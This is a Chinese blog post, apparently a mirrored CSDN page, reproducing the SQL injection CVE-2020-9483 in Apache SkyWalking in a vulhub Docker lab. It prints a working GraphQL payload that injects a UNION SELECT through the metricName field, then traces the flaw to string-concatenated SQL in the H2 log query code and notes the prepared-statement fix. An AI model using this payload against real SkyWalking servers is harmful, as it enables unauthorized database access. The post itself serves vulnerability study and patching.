码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • CVE-2020-9483 apache skywalking SQL注入漏洞


    漏洞概述

    当使用H2 / MySQL / TiDB作为Apache SkyWalking存储时,通过GraphQL协议查询元数据时,存在SQL注入漏洞,该漏洞允许访问未指定的数据。 Apache SkyWalking 6.0.0到6.6.0、7.0.0 H2 / MySQL / TiDB存储实现不使用适当的方法来设置SQL参数。

    环境搭建

    拉取vulhub

    git clone https://github.com/vulhub/vulhub.git
    
    • 1

    搭建镜像

    cd /vulhub/skywalking/8.3.0-sqli
    docker-compose up -d
    
    • 1
    • 2

    在这里插入图片描述
    访问8080端口
    在这里插入图片描述

    漏洞复现

    在首页刷新即可抓到报文。
    在这里插入图片描述

    输入payload

    {
        "query":"query queryLogs($condition: LogQueryCondition) {
      queryLogs(condition: $condition) {
        total
        logs {
          serviceId
          serviceName
          isError
          content
        }
      }
    }
    ",
        "variables":{
            "condition":{
                "metricName":"INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --",
                            "endpointId":"1",
                        "traceId":"1",
                        "state":"ALL",
                        "stateCode":"1",
                "paging":{
                    "pageSize":10
                }
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    查看返回结果
    在这里插入图片描述
    在这里插入图片描述

    漏洞复现成功

    漏洞原理

    源码:https://github.com/apache/skywalking/releases/tag/v8.3.0
    graphql是skywalking的一种查询协议,如果请求以下列JSON给出:

    {
      bookById(id: "book-1"){
        id
        name
        pageCount
        author {
          firstName
          lastName
        }
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    则返回结果为:

    {
      "bookById": {
        "id":"book-1",
        "name":"Harry Potter and the Philosopher's Stone",
        "pageCount":223,
        "author": {
          "firstName":"Joanne",
          "lastName":"Rowling"
        }
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    通常,graphql中会对对象类型进行定义:

    type Query {
      bookById(id: ID): Book
    }
    
    type Book {
      id: ID
      name: String
      pageCount: Int
      author: Author
    }
    
    type Author {
      id: ID
      firstName: String
      lastName: String
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    此次产生漏洞的queryLogs为:
    oap-server\server-query-plugin\query-graphql-plugin\src\main\resources\query-protocol\log.graphqls:
    (这里不知道为什么下载的源码中没有,只能跑到github上看)
    在这里插入图片描述

    oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java
    在这里插入图片描述

    oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java
    在这里插入图片描述

    采取了直接拼接的方式。

    5、修复方法
    修复后使用了占位符,即预编译。

  • 相关阅读:
    Qt中简单的并发方式QtConcurrent::run() 方法
    MMQA5V6T1G 瞬态电压抑制器 TVS二极管的特性及应用
    如何用在线模版快速制作活动海报?
    非结构化知识抽取 -- pipeline方法 joint方法
    软件测试100天上岸2-测试必须有策略
    5原型模式
    波卡生态中“中继链”、“DOT”的常见问题解答
    【大数据】Hadoop分布式文件系统HDFS(更新ing)
    常用面试/笔试开源小项目61~70
    如何化解35岁危机?华为云数据库首席架构师20年技术经验分享
  • 原文地址:https://blog.csdn.net/mirocky/article/details/133810786
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号